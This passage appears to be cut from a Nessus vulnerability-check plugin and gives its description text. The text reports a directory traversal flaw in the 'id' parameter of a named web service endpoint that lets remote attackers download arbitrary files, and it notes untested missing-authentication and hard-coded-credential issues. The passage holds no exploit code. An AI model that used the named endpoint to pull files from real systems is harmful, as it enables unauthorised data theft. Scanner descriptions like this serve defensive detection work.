has a directory traversal vulnerability. Input to the 'id' parameter
of the '/webservice/CORE/downloadFullKitEpc/a/1' script is not
properly sanitized.

A remote attacker could exploit this issue to download arbitrary
files, subject to the privileges under which the web server operates.

Note that this version is reportedly also affected by a missing
authentication vulnerability as well as a hard-coded credentials
issue; however, Nessus did not test for these additional issues.");
